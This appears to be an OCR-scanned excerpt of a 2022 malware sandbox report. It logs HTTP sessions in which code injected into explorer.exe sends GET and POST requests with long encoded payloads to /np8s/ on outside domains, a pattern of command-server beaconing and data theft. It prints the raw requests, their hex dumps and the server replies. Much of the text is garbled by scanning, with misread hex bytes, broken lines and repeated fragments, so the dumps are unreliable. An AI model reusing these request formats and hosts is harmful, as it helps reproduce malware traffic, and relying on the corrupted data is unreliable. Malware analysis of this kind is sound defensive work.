704576 39 79 47 43 5f 52 72 6¢ 78 4c 6d 7a 61 4b 6b 48 4d 44 42 79 75 7a 68 51 57 4c 39 4d 48 58 73 32 75 78 2d 48
56 50 31 4e 72 41 50 4f 76 46 4e 64 57 33 55 6d 75 55 7a 54 48 4e 4a 45 47 7a 59 4a 53 47 67 66 35 34 7a 31 5f 71 79
68 56 28 41 6d 74 5a 73 53 75 38 4d 45 59 41 54 57 70 4c 48 71 64 43 63 78 5f 4d 6b 65 4f 35 44 6a 58 7a 6a 74 6e
Data Ascii: 3tk4oN=hr5631aRy34F9ylucPyBBLLSoEaAIx5-46W5VE(aMQCKy_2ZULO05kF4LbmCqzyK_(VsNr08
3KHO100cx11(1cKAOWDdM107wOa0159tvDW2f57n83udtBAVdNaa-OUafUrpE5ZkvCJI8piPavGtn86nAJKACIFiHIL ]
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Timestamp

Session ID

37

Timestamp

May 27, 2022
19:07:19.679300070
CEST

May 27, 2022
19:07:19.695687056
CEST

Session ID

38

Timestamp

kBytes
transferred

Source IP

192.168.2.6

kBytes
transferred

757

759

Source IP

192.168.2.6

kBytes
transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49871

Direction

ouT

Source Port

49876

Direction

IEB4y3VIy3IBpKCtFarHntbGNz9pdpaaFhchgAXs8kSIBOWSBQLW8pfGQAT5E83h3DdJgYvbgdb4oldJQioZuehpGv7
Rglﬂwgel LHQB6RPSHLKPITawTpRxH(zGxQLbCqOtFel~K(XjUAmytfg2sLwoNHXWZTauQZG5alRvgbKHCZh2UpSp71Mh
rRf6zARVZ1m9W29yCdIBRbriPgX5yNbIMw1zSeQCLJETeNf7RwhnuTgIJPEDWFNk3XveMOZ44KE_bNqg7xTs4mm6poAC
yV6~nTVbG5ZfLDZ61gc8qZQn63rTKCI12gbFada3SrdqETyBIkModK2jsmuEMyJIxZcXCWop5xp3Nobs-K7C40k1PbcX-
dzepR3ISTIRWLgrN-wMBB8EYrcZcDU4m5sbTsHrBW4S8DkC8SbCODuNzgCMdTxIBHGwuQIjP4lvwvnHkUSOmYeuamj
1f2fIGyVWyAnYfGLFNtOvI3IPN5DgWItvSNIGaFrmdFOpUbRh1NEzgG4fHuBKoZ(yKasfMFhwMxxDgnBiFLtp98ojp
7F2QTYsVdIHkoIDfK2tcTIXLYNNYY Ld2xoplaWr4mHrGOVEUQtDIiBzPOjLLI9SKXN1bD9vd TqwSp8QzNWHYLoBRrOp
yub6WNgAOwWLZA1Rgz8kyJ9zSr3yHOw0t0T8q78YbFKCzbIMY87Cm8CJIbZCYCc5EGEtmgKY4rJéwrQ1lczI9iloBfRIWbD
B(stg4vhaminD9s4g3WyhZFNocCByb2~gRdRyOLcd(aYMJ-iUuMUy90001YWVyGxgXohhzPQJDPITDFPjm1leUbFRPc
hWiPNDKdiDIvsAOF5yzkHxC2TjpLfKqqiP9xSpIAZRT4WomP05es3toohb370UxiX5mzTnu4VZ_68dk~XVzEgQt(2d
1TIZiKr5gcoY YjUQhfNwQ9Ut6WXDRY8cJLa8zP8J1gGB6ufDOdyWU~cilrGuvae8xBdgBKPL21Eb4DgBZgjpOMmL6Ek
4~D~KhVugSwpPuYDjxFUMhKNXPQIl(gtiziTUCf(yU7vwObH63D3euc6I5m5EEBU4kRrgnyulJbZY(1lgou6aCnetp
Ev9yGC_RrixLmzaKkHMDByuzhQWLIMHXs2ux-HVPINrAPOVFNdW3UmuUzTHNJEGzYJSGgf54z1_qyhV(
AmMtZsSUBMEYATWpLHgdCcx_MkeO5DjXzjtnfQ5c0aef06 KHHB0fojD4Q6c8FIw_XA6JQJVIIskoFOKIFC3VtyZqZjz
jDIbgCGrsJ7N8Yf4akXRrbPOFHYG8CP-AFgjHAkmLOVZWFTZaAuFNVABaG9_tfwN(LiluEyc~WSPyTT_OmWFYVRII
mzvM5zsvBBwUgKUCLesOmJd1VgFIbCEnAI2NxGFoYefOn6nNK(qdLvOmjtGGlieorduAmQ4p28ChOhbptValdcOfeN
EEA08b-j9Bn9At7Du159nVCXEsx6y8YhdISSzj9j6Q3XchGOpn7m4DYUHbMxBXLfB680as1jgvRNPb2x1teAhIhLTf
DXKdpJIN8u~-jtftMf_D_wXkOqZCP5FFO8VDMAdpwcsQQgUF7sGZTs8hCGbOq3t~9dEEg4gdatoYxzgLLDetbcnlc5Kk
00uk23Bt4QjalkRpOvtlLOLgaes|18DVplql9g0KkgTn3gm31ypXUXWKNLI59efw60OLuVXkld4OIxURcYUmkun9qqM
rxKA8(XIZkyBloOUmgeLZB-m-tBkAeHDL~ysW1cZA6VvnhglmfU2ogZe4mZYEBFtV5z~axCbCRsvu7zy76nOJhnFMe
FijeDK-AHvzASEDI9IIkIBA5VokpyHtX-X0fLDNOCNUR3u_c_lczk(aOyUccIDSXAtFr6BOVPD8XvO8Q9FfBfwqek2
48GgNdG3JIrxQFzpslO3AwwmJIwceYwZkixv7mEiEelGD8z530k5afm8gHSpi40JfkVdH-k90SEyYHysLgpnPLWA(gevY
g3uCuzQ4yqgkts3o00fVyuBLTOV8uC9rORol6pVyh4rcS86JQFvS6c(r2ul0RjlUSf2wmyL BKDWBKG9FMd5Uf01Q2yO
IpIOQXNICMOI4LEUYHk~a870YH_5-DrX5LoDsg7jtUf2KTh1uDMHP7AV44cnt6pskKgbbNvH2dEV70CPp78bpt78PZ
d7TOuLvx7ROWpEeGWxUmsGzaD1b3K6NolCSrszOUGKRXWUI9WsfE-eGh8Adf155lkwZg_ldwltvUuZgSapAN7alfUE
ZpQmGv4o3pLclHCiU9nP1g3N28RfagwquzZ4yC_NzEJ1UMBLQsikkMH1VBwJ-1j3U21pKzy3N(ao7F1GDHVZNzWm_b
cJFZBc0JUJgfUrY52uk~BMj9fOF04Ak0dUHhGgzzkB_O-wNNR8O0SsLAhRh00Z0tzLbjD7(DVK1IRKTASQzSCrS4~uo
yxqUSHVkjwKvGdTBJIXMzkfx000lIx(nPxe9cqgeWgB8OA2uhPjhOcu_ynBsGwBsszPbAoCNRWUYfEuYhMp9uTiOaZr
3R33bJA09agw4qjgSNNIibA2pjBrEYu8QsStlIOrA6ClarJRh05g0gNgEM4g3vkbbsW56sSIoFVCgtbAXCitSAEdxm9
_SJ9WE}KJCYNIZTUbuVs8vMVHgG~JGp9nL1Sh4jz4l0aHH_o0zoNVxgxB27DN85ess71PU1DSGi3sCOkB5rxbRi-XfG
r34NSer371IhfDR3VuTIshYzyg9AsIUi_1vis7IUFSuHJI3vBwv3JoRIQeTNHBIVZ3UjzaW6tbymszMwINpZWpP-5TT
UchINh4dHOVftI1Nz213dzj7MotsXcdQ0J588I6rMc3a3fBIk5-3Bagna5YhE1CLIOKcAWA781sjlYWQdIoBKNHKToOfIXFC8zIl
u4cioiP6gbbkfBzh32EA7RnXKIkc3Ze58G7icahbHDfL6JAsIwngh1fWiwbvz~mgKSAiaoLiKhbfPzJOF6eifRSE_m
N(1QkgaE_sXlotXOngRdLO075REzKz07pqSgtSz7sYLFgxDcMj20t92FIKvewo80-WA110W3St-K_Ad8DxYpWPVBoR
MFi4AakATJIkUdewY CqH5tXU97PWxKCIHFKUMJIWM(j5JhN8bK5e50vJZVd4oewkqI8jMNoCihs~g7SAvJ1zM4I1UykDi
erpU2t3z5Z4a2FfX13AxkO_ft(gOCIMmxPZa2NU5Z9bfRFzn2mqYG1Sly9xHTYpvUnRrLIrBhZePf6-D9v3eMIBGVO
aycTAhNMB~TIDGGZcn1ftZKGo5MRI9VYuKhw_ea~GIZ9SQmzbkHE_JF3E1eZOzTP-Nj2APs2Hh_9e8gJ7IcYK1nCxO
MWAhPIR-T2vDhzzE~aWBQAs42k005BIZrNoBP8r5skvwiu6 SKXUQDFNnWIFb7zm-2001(pQY 7cV2xkZPIPfGLkn-CkP
76SvNX2cdbu8_TzdacAelUM]4ES5LtalBXE-pOKGpCg9alCYsxulWxuVpQADMSz1M1yUyqOui_pAr27kHiY8JPmT8Xs
dIROUHJIheyXU7Yx40sReNRWhdilU78QTxxi2dyp7LDwm~oFphd~t29FxGK4NrgcYnbWMVk167WAHwidvuaoJOlaGV
Zn757emJxr5MqSIG1(Xn1Q6mytrNLaTeCb563sSCLgCjOnagifrZReyJ_pTnTPHdZgL~e(jXz7701(LG51UY_AS18~
eqB1VFHfRRUoDKMIIEPdUcfpUpdIflu73pOLR4JtHpahONwRzMjcHPADIN3wyZoSHZfzEZuXIgHV1lssJtZ6Y6_wmT
d7dfhFCDfACPPG20qQgxNjST1Ax|L_mEgQT6q-tjFcgUA4wypZK8kZsn02~6FRPTuC(6kxsWFoXhboveQPEGUJJINFB
YKPCB3CJwGeV9icYXFCF9Tgm1KE7ZDP03Q6n9ijLLiXKskOu

Destination IP  Destination Port Process
185.53.179.172 80 C:\Windows\explorer.exe
Data

GET /np8s/?3fkdoN=upNApQGgxnlpkDsed4j6UePR+EOmMKhNhiuHKrn3aPCq0+c3DSqp4vkB5DGytvWTvww8fhFgz
|A==&aDHdzD=vpgdJ4mxrh HTTP/1.1

Host: www.waermark.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: nginx

Date: Fri, 27 May 2022 17:07:19 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20
46 6f 72 62 69 64 64 65 6€ 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>

Destination IP Destination Port Process
68.66.224.33 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp A Direction
May 27, 2022 808 ouT
19:07:30.973301888
CEST
May 27, 2022 822 IN
19:07:31.145734072
CESIl
Session ID Source IP Source Port
39 192.168.2.6 49877
. kBytes . .
Ti Di
imestamp transferred irection
May 27, 2022 821 ouT
19:07:31.139133930
CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1

Host: www.getbusinesscreditandfunding.com

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.getbusinesscreditandfunding.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.getbusinesscreditandfunding.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 37 72 64 58 7e 50 67 4f 4b 39 5a 4d 4b 38 4c 33 34 6a 6a 70 28 58 71 57 4e 59 56 34 68
46 49 57 6a 57 70 7a 75 61 57 4a 47 72 50 32 58 56 56 43 62 71 76 77 6d 6d 4a 67 39 5f 47 42 4b 42 67 6¢ 30 64 4c 55
70 6b59 42 79 67 74 65 38 6a 7a 41 58 31 6¢ 70 68 63 70 72 7a 4d 28 5f 59 6b 61 36 72 4f 4f 73 39 65 6b 4c 32 76 52 79
46 3936 61 75 2d 51 38 61 46 77 78 66 6d 65 63 65 63 52 46 76 67 69 78 57 6b 47 6b 62 58 64 50 69 2d 38 53 68 58 35
6e 56 65 76 77 67 75 32 37 6d 5f 79 77 4d 32 31 6f 51 48 66 6¢ 70 69 35 50 79 59 73 56 50 30 4c 51 57 43 70 2d 61 6¢ 5
4 44 5a 46 62 4c 72 57 4f 63 6¢ 79 6f 49 68 53 55 4d 4a 2d 35 69 4b 63 34 53 66 4b 51 34 47 67 54 34 43 48 53 59 62 39
56 44 61 37 4b 79 48 57 63 50 37 74 28 78 33 30 38 6f 70 63 6a 58 37 41 65 69 78 54 47 6f 52 31 4a 49 45 79 42 38 65
31 5a 71 5a 5056 49 4e 32 67 4d 72 4f 43 58 67 61 76 78 42 34 66 69 39 4d 30 70 33 49 52 39 38 43 65 65 52 6¢ 39 74
47 62 6b 6¢c 73 79 32 36 47 41 34 4a 70 5a 61 36 78 5a 34 7a 70 4e 78 70 71 73 6e 69 47 47 62 77 39 4e 28 4 31 38 74
6f 62 46 77 67 4d 46 30 52 4c 4e 34 44 37 66 32 64 38 71 63 44 4c 70 55 5a 58 38 73 48 43 7a 6¢ 4e 50 71 69 32 55 38
72 6f 79 4a 65 49 73 52 72 76 6¢ 70 49 6e 51 68 4c 62 45 44 52 33 6¢ 52 4d 2e 00 00 00 00 00 00 00 00

Data Ascii: 3fk4oN=7rdX~PgOK9ZMK8L34jjp(XqWNYV4hFIWjWpzuaWJIGrP2XVVCbhgvwmmJdg9_GBKBgl0dLUpkY
Bygte8jzAX1lIphcprzM(_YkabrOOs9ekL2vRyF96au-Q8aFwxfmececRFvgixWkGkbXdPi-8ShX5nVevwgu27m_ywM
210QHfIpi5PyYsVPOLQWCp-alTDZFbLrWOclyolhSUMJ-5iKc4SfKQ4GgT4CHSYbOVDa7KyHWcP7t(x3080pcjX7Ae
iIXTGOR1JIEyB8e1ZqZPVIN2gMrOCXgavxB4fi9MOp3IR98CeeRItGbkisy26 GA4JIpZabxZ4zpNxpgsniGGbwIN(N1
8tobFWgMFORLN4D7f2d8gcDLpUZX8sHCzINPqi2U8royJelsRrvipinQhLbEDR3IRM.

HTTP/1.1 301 Moved Permanently

Date: Fri, 27 May 2022 17:07:31 GMT

Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubDomains

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Location: https://www.getbusinesscreditandfunding.com/np8s/

Content-Length: 257

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d
6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3¢ 62 6f 64 79 3e Oa 3c
68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e Oa 3¢ 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e
742068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 74 62 75 73
69 6e 65 73 73 63 72 65 64 69 74 61 6e 64 66 75 6e 64 69 6e 67 2e 63 6f 6d 2f 6e 70 38 73 2f 22 3e 68 65 72 65 3¢ 2f 61
3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>301 Moved Permanent
ly</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.getbusinesscre
ditandfunding.com/np8s/“>here</a>.</p></body></htmI>

Destination IP  Destination Port Process
68.66.224.33 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.getbusinesscreditandfunding.com

Connection: close

Content-Length: 36488

Cache-Control: no-cache

Origin: http://www.getbusinesscreditandfunding.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.getbusinesscreditandfunding.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 37 72 64 58 7e 4b 68 46 41 73 46 46 50 73 4f 6e 36 57 48 39 33 45 79 51 4c 6f 68 39 39

3049 7a 30 58 34 45 71 62 6e 37 48 71 32 78 54 6¢ 35 6a 66 70 66 6f 6d 69 46 46 7a 74 69 64 5a 52 73 71 30 5a 76 2d

70 6b 63 42 7a 67 30 62 28 45 33 6d 58 58 39 71 73 63 70 58 79 4d 7e 38 4f 6d 7e 62 72 4f 37 4c 39 65 63 62 32 65 39

79 45 66 43 61 6f 39 34 33 48 31 78 62 42 33 79 51 42 73 63 70 76 6b 32 35 57 6b 4b 6b 62 6e 52 50 6a 65 4d 4e 32 41

46 6d 59 7576 70 6¢ 75 33 72 39 76 50 57 4d 32 78 4b 51 47 7a 6¢ 71 51 64 50 79 49 4d 56 59 33 7a 54 59 53 70 5f 65

6¢ 54 53 64 46 65 4e 72 58 69 51 6¢ 33 45 32 68 67 49 4d 49 4f 35 76 49 37 45 72 56 37 52 75 4c 41 50 66 43 48 65 39

62 7349 63 61 2d 79 53 48 67 59 30 6¢ 34 4c 4c 33 32 52 5f 76 38 6a 54 7a 67 65 35 78 54 47 4d 52 31 4a 32 45 79 52

3865 32 70 71 49 65 6¢ 49 64 57 67 4c 6e 4f 43 53 6f 36 76 69 4d 59 6a 43 39 4d 73 66 33 4a 70 54 37 77 65 65 52 32

56 74 41 36 6b 6d 31 53 32 38 44 41 34 70 74 5a 61 6¢ 78 5a 34 42 70 4d 78 35 71 37 76 69 63 33 62 77 35 76 48 4e 6¢

63 74 6f 65 46 77 69 46 6¢ 35 55 4c 4e 51 48 37 65 47 6a 38 35 77 44 4c 37 4d 5a 57 64 73 48 46 44 6¢ 4e 41 4b 6a 6f

61 5a 62 6a 78 4f 33 2d 69 67 37 5a 6d 72 6b 54 61 57 28 54 57 52 34 74 35 6d 38 39 4e 2d 32 54 74 73 43 34 79 68 41

69 35 6¢ 45 49 79 77 47 76 35 4d 7a 69 33 49 49 52 47 53 34 33 7e 5a 6¢ 47 54 46 57 72 47 36 45 7a 4d 71 36 4a 63 62

5336 6¢ 67 4d 7a 6a 41 71 34 28 4f 53 58 68 47 51 6f 7e 4b 31 43 73 55 4f 57 55 67 45 6e 6d 41 4e 63 46 51 6f 37 59 33

48 7358 58 76 64 6d 6b 55 58 4c 58 48 51 67 51 61 49 56 4d 30 50 59 59 54 77 7e 39 36 73 77 697379 74 72 42 71 4a

43 4d 5a 59 6¢ 6b 54 44 4f 73 30 41 35 5a 59 69 51 6e 73 58 67 48 6b 34 47 63 36 6e 56 6d 42 31 31 52 58 63 6¢ 68 2d

3470 6e 76 68 4d 36 64 58 4f 41 79 4e 42 46 5a 79 49 66 36 6d 52 50 77 58 61 37 71 32 74 61 5f 62 4a 5a 51 6d 32 41
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Timestam| kBytes

P transferred
May 27, 2022 848
19:07:31.562521935
CEST

Copyright Joe Security LLC 2022

Direction

65 6b 65 39 43 38 6a 32 66 61 65 42 5a 76 46 6b 74 49 70 43 39 68 62 32 74 45 57 64 66 78 6e 4b 39 76 6b 34 4b 49 6d
P 70 42 30 74 5a 31 55 75 47 70 68 46 54 58 72 4d 39 47 53 42 61 70 43 57 35 58 65 47 4c 4d 35 6f 38 2d 41 31 30
61 43 61 67 57 50 70 59 7a 50 78 66 50 33 6a 39 52 45 50 28 62 28 48 63 72 76 41 49 5a 41 50 4c 52 52 43 6a 61 61 79
76 43 61 58 77 64 38 31 62 56 68 4a 5a 69 77 5f 78 52 64 70 6a 6e 32 57 35 68 4b 2d 56 74 4b 54 6e 73 7a 4d 70 43 43
56 71 33 7a 4c 74 79 64 38 41 30 43 4b 6a 31 4c 68 28 6f 68 68 6e 56 49 75 4e 76 6f 45 4f 52 67 72 75 76 50 64 33 63 47
39 66 55 4a 4e 41 56 52 78 4e 76 68 6a 6b 6b 6¢ 35 63 79 46 35 4e 36 57 33 67 75 68 57 77 6¢ 79 43 7a 71 54 76 53 74
4b 54 41 43 4e 43 52 6¢ 5a 6d 6¢ 78 34 48 72 57 75 53 4e 5f 44 30 7a 4d 6d 56 39 45 4c 4f 53 42 6f 45 28 6e 64 4e 31 39
44 34 56 4e 30 4c 4d 4d 59 61 4c 72 45 46 48 6e 42 50 50 6a 66 37 6¢ 59 6¢ 30 30 30 4c 55 75 5f 52 79 66 52 4a 33 4b
7130 45 63 76 41 6e 48 68 43 5a 4d 31 36 62 55 59 4a 37 39 38 6¢ 45 39 79 58 77 5a 4d 75 70 72 72 51 58 6d 4d 6d 45
46 4b 6a 44 30 6e 67 62 73 69 78 74 75 41 39 39 76 4b 6a 59 49 57 70 67 31 6¢ 71 68 6b 65 52 68 34 41 6f 58 33 57 63
30 7a 71 35 44 5a 66 79 68 5a 41 6e 4c 46 5f 61 50 68 78 37 37 56 4c 67 61 50 69 4b 30 51 57 67 34 6a 49 78 79 6d 35 3
966 73 7178 79 28 46 4e 72 56 4c 43 49 58 43 4c 2d 58 77 42 74 70 68 4e 31 45 74 32 2d 34 35 75 5a 73 57 47 30 4e
42 67 62 30 70 64 76 49 6f 30 4f 7a 49 6d 5f 62 68 6¢ 55 76 57 75 4f 69 5f 73 48 73 4e 48 39 64 7a 67 67 52 54 78 58 36
337631487153 7456 4c 67 56 4b 56 54 41 79 77 49 41 52 4e 69 59 28 44 43 74 75 76 34 38 38 55 55 30 4a 45 76 72
45 30 4f 35 54 59 6e 78 78 4c 31 78 6f 57 6f 6e 55 54 31 36 65 7a 44 4f 56 5f 73 4d 4e 37 39 49 62 4a 75 48 50 44 61 57
59 33 68 67 6b 38 6¢ 5a 39 4c 37 4b 4c 39 66 4b 76 53 35 48 44 2d 68 70 75 79 4c 65 55 6a 39 2d 58 63 63 64 44 4e 53
55 76 49 30 4f 5a 49 32 6d 28 61 5a 38 31 6f 63 6e 4b 4f 63 32 36 4b 5a 6 69 71 63 5a 69 6f 48 65 53 6a 5a 42 57 6a 37
64 6d 4b 6b 79 4e 37 6e 50 4f 32 48 63 53 31 74 76 49 78 6a 43 34 5a 54 4d 4b 76 4e 32 76 2d 6¢ 4e 57 33 7e 59 47 4b
4c 54 58 71 58 58 43 61 34 32 6f 53 61 69 61 30 72 42 33 61 4e 38 47 6d 73 53 58 57 77 79 30 42 33 6a

Data Ascii: 3fk4oN=7rdX~KhFAsFFPsOn6WH93EyQL0oh9901z0X4Eqbn7Hqg2xTI5jfpfomiFFztidZRsq0Zv-pkcBzgOb(E3mX
X9gscpXyM~80m-~brO7L9ech2e9yEfCao0943H1xbB3yQBscpvk25WkKkbnRPjeMN2AFmMY uvplu3rovPWM2xKQGzlgQd
PyIMVY3zTYSp_elTSdFeNrXiQI3E2hgIMIO5VI7ErV7RULAPfCHe9bslca-ySHgYOI4LL32R_v8jTzge5xTGMR1J2E
yR8e2pglelldWgLnOCS06viMYjCIMsf3IpT7weeR2VIA6km1S28DA4ptZalxZ4BpMx5q7vic3bw5vHNIctoeFwiFI5
ULNQH7eGj85wDL7MZWdsHFDINAKjoaZbjxO3-ig7 ZmrkTaW(TWR4t5m89N-2TtsC4yhAi5IElywGv5Mzi3lIIRGS43~
ZIGTFWrG6EzM6JcbS6IgMzjAg4(0SXhGQo~K1CsUOWUGENMANCFQo07Y3HsXXvdmkUXLXHQgQalVMOPY
YTw~96swisytrBqJCMZYIkTDOs0A5ZYiQnsXgHk4Gec6nVmB11RXclh-4pnvhM6dXOAYNBFZylf6mRPwXa7q2ta_bJZ
Qm2Aeke9C8j2faeBZvFktlpCOhb2tEWdfxnK9vk4KImZypB0tZ1UuGphFTXrM9GSBapCW5XeGLM508-A10aCagWPpY
ZPxfP3j9REP(b(HcrvAIZAPLRRCjaayvCaXwd81bVhJZiw_xRdpjn2W5hK-VtKTnszMpCCVq3zLtyd8AOCKj1Lh(oh
hnVIuNvoEORgruvPd3cG9fUINAVRXNVhjkkl5cyFSN6W3guhWwlyCzgTvStKTACNCRIZmIx4HrWuSN_D0zMmV9ELOS
BoE(ndN19D4VNOLMMYaLrEFHNBPPIjf7IYI000LUu_RyfRI3KgOEcvANHhCZM16bUYJ798IE9yXwZMuprrQXmMmEFKj
DOngbsixtuA99vKjYIWpgllghkeRh4AoX3Wc0zq5DZfyhZAnLF_aPhx77VLgaPiKOQWg4jlxym59fsgxy(FNrVLCIXCL-
XwBtphN1Et2-45uZsWGONBgbOpdvlo00zIm_bhlUvWuOi_sHsNH9dzggRTxX63v1HgStVLgVKVTAywlARNiY(DC
tuv488UUOJEVIEOO5TYnxxL1xoWonUT16ezDOV_sMN79IbJuHPDaWY 3hgk8IZ9L7KLIfKvS5HD-hpuyLeUj9-XccdD
NSUVvI00ZI2m(aZ81ocnKOc26KZoigeZioHeSjZBWj7dmKkyN7nPO2HcS1tvIxjC4ZTMKVN2v-INW3~YGKLTXgXXCa4
20Saia0rB3aN8GmsSXWwy0B3jQTXHUTTYEX8x007dqvd_3DtKz6RNrUuS08sbi003ajLVEQJISrV6076303zUU7po79
LiM4VwWDIX30EYWPIx~wa4hkBpF9riBLeZkAE6J_QpUKJINsoW1FfZ3IKNILj5SNmsN-a8x2JUIGVk6ZCqWjV9lrcarWi
UljssKlolm69cPd236d0xZv6iUZIVQONBT4mIRCQIJKHLbyr3yBziurRY8TEIMdNOydh5e WGBI7BWbWJIL4bxhaYM
MWM~N3YEqtNF8xyM4qsKO0y6 T3SfL-ARCqKZHBLGIZjPOFrc4auhiNn3luL9(emRZCKJIMVjMO1PjJAoPkvQc3jNDsai
die5Zshjl1-MxHtuUvT~fVtqLVpp2X8VRu13Z87HmdG7pHq09pt6F4qDwilLk4vzymNa3wFXLOgMWdmXzRWqOmzrSDu
z8bmY6eNV4mRo(qQWGEDL7CgSXZ-4TXjLC~3(p2ZHArag_zWwP(ZN5ytxBF-DWcz29cW1YRSaDwIKClgs1pBX1Y60Hq
VipICXGclsvCh9tN1baHIVFq_(xPShthBkuFVJI-WEFYtxPrqgKLhGsHxKrCSQs~NLbbs(rGLMCnyWs(8~JoEzgt7xcT
rg5dbAExgBSzXhc7gmDHgCngjhYqJbSY1wal4(QbtppUC2aSbDLXWzVA3V25n4VvSIRfKWKTUuwOggeRYtERRIGMVI
R~ZHt1aDxRjRYXScFTg1lpZoCi7xp2kKNSICalYNB4icU07hsw5~OCkR7jWQ8YiwqrllgWcGE1xOMzU1m99JOEJUNG
fXcz-Fev50SGesF40XoR0TUGOTEIIIKz05MynbkGtm1J29M8-co4c30l00nQseVbzIzfCzMZiX170DgD16AWECtfsr
M5jzRgbONAgViVgZIhV8eE8etyMS5F6Wz8YrPKY 15IBfbLVreOAPHRtRU0pZKX46KiORCCEdxnKzfsW2qngZct7OD
2i6¢cvgO~gMz077HKtok8k9zj2FwnvQ28WZ70ULKDkb2CYtxBmr8LhHGj1Rxt7tcT-RkgT8eXRmgquOigkZxhMHTbkD
XONWYlyeZM1tD9oZuu8wGQSXcz2zgFvllzXFzUMw_HJvpegOkwY3mj5F4tHLezQUONMZh1p~7BYZzYOmFZIKVWije(cu
yAW49ZxPIC78bV3PFOwsI9eap86J97WJIk~8VdzW[Z8g(k8_PKqCPF2EkkstzZAJsLeos_V440HsOy4ADMGF3djGGVTS
H2MyFSC9qFPHEZ2iiG3nvMt6Lw1sKPDn~DdrVR2CifyMuJi4nA7JYivbEMalCKGNLQPWNoxdqp62dFNo4cBRSfnsE6v
zoxkgl8rUsOwdXRaaVFCOwy6YBjQbG-A_0DeZ3EArip42N9(c(7LzAh35(sU8eNu3XleINYo_nsvjaCb51dUTvBFkM
dUCKKGsRynnBIpyt7sq(nHuV2q9cpc-AaREsKZ89IRHbM-rPgX9Squ(vUcTukRi4TZ(4vX1wepuTeH8X7fEGKZp2H-W
XxN6N-9VMHa-VmOVFnWcPyT00oX2fDksTr_ilevK1Dx4vwey20d7_56~q4GckE1bbtzjTNLOt6mQ4rorlYyYrtgt2gns
KSANVUINkFCbT7_vCxV1ys80eBF7CMNcmnIXBwelo7qQ7Yj8sgAp8FJ2_7WsqcVwSo-VzPyTvUa9exMIJhoMLAoE4
hpjVgNKFBGSPEVohD(0INWEtEQ7ceNIlaéeB2qfY2HYSFrBSp1FY30zI33bui20fD9gNzC(VOhQm2R8a2Gjy42timad
qUCFWXOdtXX4M(sgtgkWhf2weip9i~9IWJkjcq31qTFSqO06H5b-0iAlaFAmiUm2tsWong4jcuUkmZ4eTZ10W29_WSm
CcGkj4SHGjLcC(6cWVB92ptdKRIAPWpRUGeBqU1(20TyMYsYiNDYr8wokeAHpB-TsQVIr8mQZKbVRPsmKekEZd3aMB
-B6x69JQXKGLAhTaMpnI7Ee2-vfYzAIWR9IqR44NzbP7kPTIV3-2VFMCFTnsuK19f1kw76Hal. 1m9PWI06EfvCoRHhM
T8EhLBUOLVTSKL_t9S6woR54MYR1CJIA~AKNOTAEY5mR7QGGtCKVydBau4QFCWUCHNYbwQONnWXW8ngcwD
L2njtbumPz9P4Gs8p~_tBBIAg73AuSHXxw_PB7-tOVbZxq90phFIp6TVGoGsMRRjQNsgawUB_awCWIVtXuEtuf4WkX
ycex1S11gWmQ8rLUPNYeEJJ7nZOFVZTobnyeZkB6GiqqqqO(as0jf3LMSfykR(LJIJdcLKVLLnqCVADV3N4STINgx0
8XUFLDAhtYtzY3nfkw62_OZHGineBFYHArSkwlsCzMugujPhAOCKY p-QLWT08c6VWZFErUanWM8XsrxqPXAxBb4oXK
iad0_O9H6Ur7UtbLCcEGRryLrQep0s79gK1Tm5mrrCx(gxHWcDPNCdIms8jISZOftbC2YYjFZbPSXYXY5T38Gbktve
